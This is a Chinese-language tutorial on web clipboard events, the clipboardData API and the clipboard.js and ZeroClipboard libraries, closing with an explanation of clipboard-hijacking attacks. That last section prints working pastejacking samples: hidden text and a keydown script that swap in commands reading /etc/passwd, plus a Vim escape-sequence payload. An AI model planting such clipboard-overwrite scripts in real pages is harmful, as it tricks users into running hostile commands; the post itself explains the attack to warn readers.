本部分系列文章Github Repojavascript
HTML5實戰與剖析之剪貼板事件html
IE是最先支持與剪貼板相關的事件,以及經過JavaScript訪問剪貼板數據的瀏覽器。 IE的實現成爲了事實上的標準,隨後Firefox 3+ 、 Chrome和Safari 2+都支持相似的事件和剪貼板的訪問,可是Opera不支持經過JavaScript訪問剪貼板。直到HTML5的到來,將剪貼板相關事件歸入了 HTML5規範。java
要訪問剪貼板中的數據,能夠經過clipboardData對象:在IE中,clipboardData對象是window對象的屬性;而在 Chrome、Safari和Firefox 4+中,clipboardData對象是相應event對的屬性。可是,在Chrome、Safari和Firefox 4+中,只有在處理剪貼板事件期間,clipboardData對象纔有效,這是爲了防止對剪貼板的未受權訪問;在IE中,則能夠隨時訪問 clipboardData對象。爲了確保跨瀏覽器兼容,最好只在發生剪貼板事件期間使用這個對象。git
//獲取剪貼板數據方法 function getClipboardText(event){ var clipboardData = event.clipboardData || window.clipboardData; return clipboardData.getData("text"); }; //設置剪貼板數據 function setClipboardText(event, value){ if(event.clipboardData){ return event.clipboardData.setData("text/plain", value); }else if(window.clipboardData){ return window.clipboardData.setData("text", value); } };
這個clipboardData對象有三個方法:getData()方法、setData()方法和clearData()方法。其中,getData()方法用於從剪貼板中獲取數據,它接收一個參數,即要取得的數據格式。在IE中,有兩種數據格式:’text」和」URL」。在Chrome、Safari和Firefox 4+中,這個參數是一種MIME類型;不過,能夠用」text」表明」text/plain」。setData()方法的第一個參數也是數據類型,第二個參數是要放在剪貼板中的文字。對於第一個參數,IE照樣是支持」text」和」URL」,而在Chrome、Safari中,仍然支持MIME類型。可是與getData()方法不一樣的是,在Chrome、Safari中的setData()方法不能識別」text」類型。這兩個瀏覽器在成功將文本放到剪貼板中後,都會返回true;不然返回false。好了說了這麼多,就來看下面的小例子吧。github
下面就是6個剪貼板事件。web
beforecopy:在發生複製操做前觸發;npm
copy:在發生複製操做的時候觸發;瀏覽器
beforecut:在發生剪切操做前觸發;app
cut:在發生剪切操做的時候觸發;less
beforepaste:在發生粘貼操做前觸發;
paste:在發生粘貼操做的時候觸發。
在Firefox、Chrome和Safari中,beforecopy、beforecut和beforepaste事件只會在顯示針對文本框的上下文 菜單(預期將發生剪貼板事件)的狀況下觸發。可是IE則會在觸發copy、cut和paste事件以前先觸發這些事件。至於copy、cut和paste 事件,只要是在上下文菜單(右鍵菜單)中選擇了相應選項,或者使用了相應的鍵盤組合鍵如(ctrl+v),全部瀏覽器都會觸發他們。這裏以beforecopy爲例:
<head> <script type="text/javascript"> function OnBeforeCopy () { alert ("An onbeforecopy event has occurred."); if (window.clipboardData) { var data = window.clipboardData.getData ("Text"); alert ("The contents of the clipboard before the copy operation are\n" + data); } } </script> </head> <body onbeforecopy="OnBeforeCopy ()"> Select some text on this page and press CTRL + C! </body>
與標準的Clipboard API相比,clipboardjs具備相對較好地兼容性與易用性,它的瀏覽器適用範圍是:
筆者實機測試過部分Android 4.0+與iOS 8+的移動設備,仍是可使用的。
能夠基於npm安裝:
npm install clipboard --save
或者基於bower安裝:
bower install clipboard --save
安裝以後直接引入便可:
<script src="dist/clipboard.min.js"></script>
注意,全部的Clipboard初始化時候都須要傳入一個DOM元素,而後基於H5的data-*屬性來控制待操做的對象,譬如:
<!-- Target --> <input id="foo" value="https://github.com/zenorocha/clipboard.js.git"> <!-- Trigger --> <button class="btn" data-clipboard-target="#foo"> <img src="assets/clippy.svg" alt="Copy to clipboard"> </button> <!--JS--> new Clipboard('.btn');
這樣就創建了基本的拷貝操做,若是是須要進行剪切操做的話:
<!-- Target --> <textarea id="bar">Mussum ipsum cacilds...</textarea> <!-- Trigger --> <button class="btn" data-clipboard-action="cut" data-clipboard-target="#bar"> Cut to clipboard </button>
也能夠直接複製一些屬性:
<!-- Trigger --> <button class="btn" data-clipboard-text="Just because you can doesn't mean you should — clipboard.js"> Copy to clipboard </button>
clipboardjs也爲咱們設置了一些在調用先後的監聽事件,最經常使用的就是success與error事件:
var clipboard = new Clipboard('.btn'); clipboard.on('success', function(e) { console.info('Action:', e.action); console.info('Text:', e.text); console.info('Trigger:', e.trigger); e.clearSelection(); }); clipboard.on('error', function(e) { console.error('Action:', e.action); console.error('Trigger:', e.trigger); });
若是你但願利用代碼動態控制目標元素和文本內容,clipboardjs也提供了一系列易用的API,你要作的就是按照規範聲明方程。譬如,若是你想要動態設置操做目標target
,能夠直接返回一個Node節點:
new Clipboard('.btn', { target: function(trigger) { return trigger.nextElementSibling; } });
若是想要動態設置文本內容,能夠返回一個String:
new Clipboard('.btn', { text: function(trigger) { return trigger.getAttribute('aria-label'); } });
另外,若是你是一個單頁應用,能夠利用destroy來在DOM的生命週期中進行控制:
var clipboard = new Clipboard('.btn'); clipboard.destroy();
ZeroClipboard是隻要在可以使用Flash的地方就可使用,若是碰上Flash被禁止了的就歇菜了。如今不是很建議使用,不過在某些須要兼容的老版本瀏覽器上能夠考慮:
<html> <body> <button id="copy-button" data-clipboard-text="Copy Me!" title="Click to copy me.">Copy to Clipboard</button> <script src="ZeroClipboard.js"></script> <script src="main.js"></script> </body> </html> // main.js var client = new ZeroClipboard( document.getElementById("copy-button") ); client.on( "ready", function( readyEvent ) { // alert( "ZeroClipboard SWF is ready!" ); client.on( "aftercopy", function( event ) { // `this` === `client` // `event.target` === the element that was clicked event.target.style.display = "none"; alert("Copied text to clipboard: " + event.data["text/plain"] ); } ); } );
筆者也是最近看到了Github上的這篇關於複製劫持的文章,纔打算把以前的網頁剪貼板相關的東西整理下發出來。瀏覽器容許開發者可以自主地控制用戶剪貼板,不過這樣也就致使了部分惡意網頁可能引導用戶無心間執行惡意代碼。最多見的就是譬如你瀏覽某個教程網站,上面提示你輸入如下命令:
git clone git://git.kernel.org/pub/scm/utils/kup/kup.git
做爲資深懶貨,我確定選擇複製粘貼啦,而後我就Happy的Ctrl+C,而後我驚訝的發現本身的剪貼板裏的內容變成了:
git clone /dev/null; clear; echo -n "Hello ";whoami|tr -d '\n';echo -e '!\nThat was a bad idea. Don'"'"'t copy code from websites you don'"'"'t trust! Here'"'"'s the first line of your /etc/passwd: ';head -n1 /etc/passwd git clone git://git.kernel.org/pub/scm/utils/kup/kup.git
這種攻擊方法仍是基於典型的HTML/CSS隱藏屬性,在開發者工具中查看DOM樹能夠發現,在咱們看不見的地方放了這些東西:
當咱們選定複製的時候,實際上是把那些隱藏的部分所有選上了。而咱們這邊要討論的剪貼板劫持攻擊跟這個的效果很相似,只不過剪貼板劫持攻擊會更讓你防不勝防一點,它能夠在你任何一個點擊事件後觸發,而且能夠控制將一些十六進制字符複製進去,有時候還能用來幹掉你的Vim,仍是先看一個例子:
能夠看出此次沒有隱藏DOM元素,可是當咱們複製了以後,獲得的倒是:
touch ~/.evil clear echo "not evil"
此次是由於它加了這麼個控制腳本:
function copyTextToClipboard(text) { var textArea = document.createElement("textarea"); // // *** This styling is an extra step which is likely not required. *** // // Why is it here? To ensure: // 1. the element is able to have focus and selection. // 2. if element was to flash render it has minimal visual impact. // 3. less flakyness with selection and copying which **might** occur if // the textarea element is not visible. // // The likelihood is the element won't even render, not even a flash, // so some of these are just precautions. However in IE the element // is visible whilst the popup box asking the user for permission for // the web page to copy to the clipboard. // // Place in top-left corner of screen regardless of scroll position. textArea.style.position = 'fixed'; textArea.style.top = 0; textArea.style.left = 0; // Ensure it has a small width and height. Setting to 1px / 1em // doesn't work as this gives a negative w/h on some browsers. textArea.style.width = '2em'; textArea.style.height = '2em'; // We don't need padding, reducing the size if it does flash render. textArea.style.padding = 0; // Clean up any borders. textArea.style.border = 'none'; textArea.style.outline = 'none'; textArea.style.boxShadow = 'none'; // Avoid flash of white box if rendered for any reason. textArea.style.background = 'transparent'; textArea.value = text; document.body.appendChild(textArea); textArea.select(); try { var successful = document.execCommand('copy'); var msg = successful ? 'successful' : 'unsuccessful'; console.log('Copying text command was ' + msg); } catch (err) { console.log('Oops, unable to copy'); } document.body.removeChild(textArea); } document.addEventListener('keydown', function(event) { var ms = 800; var start = new Date().getTime(); var end = start; while(end < start + ms) { end = new Date().getTime(); } copyTextToClipboard('touch ~/.evil\nclear\necho "not evil"'); });
防不勝防啊。這東西就好像當年某些釣魚網站讓你亂下一些PE病毒同樣,並無直接的解決方案,最好的防禦方式就是之後你複製命令到終端的時候仔細瞅瞅,或者先複製到一個第三方的編輯器內看看有沒有啥奇怪的命令。不過別用Vim做爲驗證,譬如以下的攻擊方式:
copyTextToClipboard('echo "evil"\n \x1b:!cat /etc/passwd\n');
它會利用Vim的Macro來獲取你的用戶密碼等。若是你用的是ITerm,它會提醒你那些自動利用換行來執行的命令: